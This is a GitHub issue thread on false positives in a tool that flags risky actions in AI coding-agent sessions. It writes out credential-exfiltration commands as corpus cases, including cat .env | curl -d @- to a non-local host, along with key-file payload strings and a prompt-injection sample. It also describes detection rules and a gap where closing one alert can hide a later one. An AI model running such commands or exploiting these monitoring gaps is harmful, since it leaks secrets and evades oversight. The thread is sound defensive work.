Skip to content

detection: four false-positive shapes from week 6 to 10 triage (hf in a path, Remove-Item Env:, .env key names, text in a written file) #329

Open

Description

@blitzcrieg1

Three false-positive shapes found while triaging dogfood weeks 6 to 8 on 2026-10-23. All three are in frozen files (detection/traits.py, and the rules that read those traits), so they wait for the same pass as #55 and #172, not a separate change. Each was dispositioned false_positive with this reasoning in the note.

1. hf in a path is read as the Hugging Face CLI

credential-read-then-cloud-api fired critical. Its cloud step was a build command of the shape

cd <build dir> && python build.py <repo> && cp out.html ../hf-render/index.html && cd ../hf-render && ...

which earned cloud_api and risky_exec. Nothing invoked the hf CLI: hf is the first segment of a directory name, hf-render. The trait should match hf as a command (start of a command or after &&, ;, |), not as a substring of a path segment.

The same detection's credential step was a git add of dashboard source files carrying credential_access. That one is worth checking in the same pass; it looks like a filename in the argument list matched.

2. Remove-Item Env: counts as a deletion

destructive-delete-burst fired high on five "deletions". Four were PowerShell

Remove-Item Env:\SOME_VAR, Env:\OTHER_VAR

which unsets environment variables in the current shell and deletes no data. The fifth removed temp files. delete_cmd should not fire when every Remove-Item target is on the Env: drive (and arguably Variable:, Function:, Alias:).

3. Reading only the key names of .env counts as credential access

credential-exfil (critical) and dotfile-read-then-git-push (critical) both fired on a credential step of the shape

grep -n -E "^[A-Z_]+=" .env | cut -d= -f1

cut -d= -f1 keeps the names and drops every value, so no secret is read. Same family as #178, where [bool]$env:SECRET is an existence probe rather than a read. A .env read piped straight into cut -d= -f1 (or -f 1), or into awk -F= '{print $1}', should not earn credential_access.

For the fix

Each wants an attack case and a benign case in the corpus, as #44, #49, #50 and #51 did, so the benchmark holds the line afterwards. Related: #55, #172, #178, #317.

🤖 Generated with Claude Code

Activity

  1. blitzcrieg1 commented on Nov 6, 2026

    @blitzcrieg1
    OwnerAuthor

    4. Text in a file the agent writes counts as credential access

    A fourth shape, from triaging week 10 on 2026-11-06. It accounted for four critical detections in two Codex sessions, all dispositioned false_positive. Like the other three, it waits for the same pass.

    codex.apply_patch earned credential_access or private_key from the content of the file it was writing, not from reading a credential:

    • a test script holding attack payloads as strings, such as Get-Content $env:USERPROFILE/.ssh/id_ed25519 and a POST to collector.invalid
    • detection code holding a list of path fragments, such as \.ssh\ and \.aws\credentials

    Nothing read a key. The patch only contained those words. A later, unrelated step then completed the sequence:

    Rule Severity Credential step Second step
    credential-exfil critical test script read-only metadata fetch
    credential-read-then-cloud-api critical test script a Markdown report mentioning a synthetic AWS key, which earned cloud_api the same way
    dotfile-read-then-git-push critical detection code, written the day before git push of an unrelated docs branch
    credential-exfil critical same detection code, written the day before read-only Hacker News search

    Two things to look at:

    1. A write is not a read. Classifying file content as an access gives a security tool's own code a critical on every session that writes it. Writing about credentials should not earn credential_access. The content still matters when the file is later run, which is what A script written to a file and then run hides its content from classification #347 is about, so this should be decided together with A script written to a file and then run hides its content from classification #347.
    2. A long session widens the pairing. The last two rows paired a write on 2026-11-04 with steps on 2026-11-05, because they shared one Codex session. Check whether these sequence rules need a time limit.

    Closing one detection can hide a later one. A disposition is keyed on session and rule. One of these sessions was still recording when its detections were closed, so a later credential-exfil in that session would count as already triaged. That is a gate gap rather than a false positive, and it may deserve its own issue.

    Related, same triage: remote-staging-then-execute (critical) paired a fetch of the project's own docs with running a script the agent had written moments earlier. Nothing downloaded was executed. Compare #51.

    As with the others, each wants an attack case and a benign case in the corpus: for example, a patch containing .ssh/id_ed25519 as a string, against a command that actually reads the key.

  2. changed the title [-]detection: three false-positive shapes from week 6 to 8 triage (hf in a path, Remove-Item Env:, .env key names)[/-] [+]detection: four false-positive shapes from week 6 to 10 triage (hf in a path, Remove-Item Env:, .env key names, text in a written file)[/+] on Nov 6, 2026
  3. blitzcrieg1 commented on Nov 15, 2026

    @blitzcrieg1
    OwnerAuthor

    5. Writing a .env file counts as reading a credential

    From triaging week 11 on 2026-11-15. Same family as shape 4 ("a write is not a read"), but here it is the path, not the content.

    credential-exfil (critical) fired in a Claude Code session whose credential step was a Write tool call creating a project's .env. The second step, about 15 hours later in the same session, was a loop of curl calls to public market-data APIs with no credential, header or .env value in the request. Nothing read the file, and nothing sent a secret anywhere.

    Two things for the pass:

    1. A write to a credential path is not an access. Write or Edit targeting .env should not earn credential_access on its own. Whether a later step sends the file is what matters, which is the destination signal proposed in detection: credential-read-then-cloud-api fires on order, not on where the secret goes #431.
    2. The pairing window again. A 15-hour gap within one long session completed the sequence, the same widening noted in shape 4.

    The same week-12 triage added another case of shape 4: credential-read-then-cloud-api (critical) paired a read of a local recorder's key file with a Write of an issue body that mentioned hf commands. Nothing ran hf.

    Both were dispositioned false_positive. Corpus cases: Write .env then curl to a public API with no credential (must not fire); cat .env | curl -d @- <non-local host> (must fire).

    Related: #431, #425, #55, #172.

  4. blitzcrieg1 commented on Nov 15, 2026

    @blitzcrieg1
    OwnerAuthor

    A sixth shape, from the same trail replay: a credential path as a search pattern.

    grep -oE "ALSO SEND ~/.ssh/id_rsa" "$f" checks a built page for a prompt-injection example string and opens no key. It was tagged private_key and became the credential half of a critical credential-exfil and a critical dotfile-read-then-git-push in the same session.

    Fixed on the detection-pass branch (#435, commit 0a86a48). The pattern argument of grep, egrep, rg, ag, ack, git grep, findstr and Select-String is blanked before the path rules look, the way find -name patterns already were. What still counts:

    • the files a search reads (grep KEY ~/.aws/credentials, grep -f ~/.ssh/id_rsa log)
    • -e and -f followed the way GNU tools permute them (grep ~/.ssh/id_rsa -e . still reads the key)
    • a pattern holding a private key header (grep -r "-----BEGIN RSA PRIVATE KEY" ~), because searching contents for one is key hunting

    Corpus: benign_grep_for_key_path_string_then_push and attack_grep_through_key_then_push.

  5. blitzcrieg1 commented on Nov 15, 2026

    @blitzcrieg1
    OwnerAuthor

    Two more shapes from the same replay, both fixed on the detection-pass branch (#435, commit 20b4947). Both are the environment-dump check (CREDENTIAL_ENV_DUMP) reading a listing as a dump when nothing printed a value.

    Shape 7: an environment listing that prints no value. A release check asked whether publish credentials were set: env | grep -qiE "TWINE_|PYPI_" prints nothing, and env | grep -oiE "^(TWINE_[A-Z_]+|PYPI_[A-Z_]+)=" prints names only. It was the credential half of a critical credential-exfil and a critical dotfile-read-then-git-push. An env, printenv or Get-ChildItem Env: stage no longer counts when the next stage prints no value: grep/rg with -q, -c or -l, grep -o with a pattern ending at =, cut -d= -f1, awk -F= '{print $1}', wc, Select-Object Name, % { $_.Name }, Measure-Object. env | grep TWINE prints values and still counts.

    Shape 8: per-item removal of environment variables. Get-ChildItem Env:AGENTMETRY_* | ForEach-Object { Remove-Item -LiteralPath ('Env:' + $_.Name) } clears the agent's own variables before a test run. It is the per-item form of shape 2 and produced the same two criticals. The state-removal exemption now covers a ForEach-Object (or %, foreach) block that only removes the piped item, by itself or by its name, key or path. A block that reads $_.Value still counts.

    Residual, kept on purpose: Remove-Item "Env:$($_.Name)" still counts, because the masked view blanks double-quoted text and cannot tell it from "$($_.Value)".

    Left flagged by decision: grep -c "..." .env opens the file and shows only a count. Exempting counts would also exempt grep -q SECRET .env, which tells the caller whether a key is present, so it stays a credential read.

    Corpus: benign_env_presence_check_then_push, attack_env_values_grepped_then_posted, benign_ps_clear_own_env_then_push, attack_ps_env_values_then_push. On the trail replay, critical and high false positives went from 13 to 11, and every detection dispositioned resolved or risk-accepted was kept.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    detection-ruleBehavioral sequence detection

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions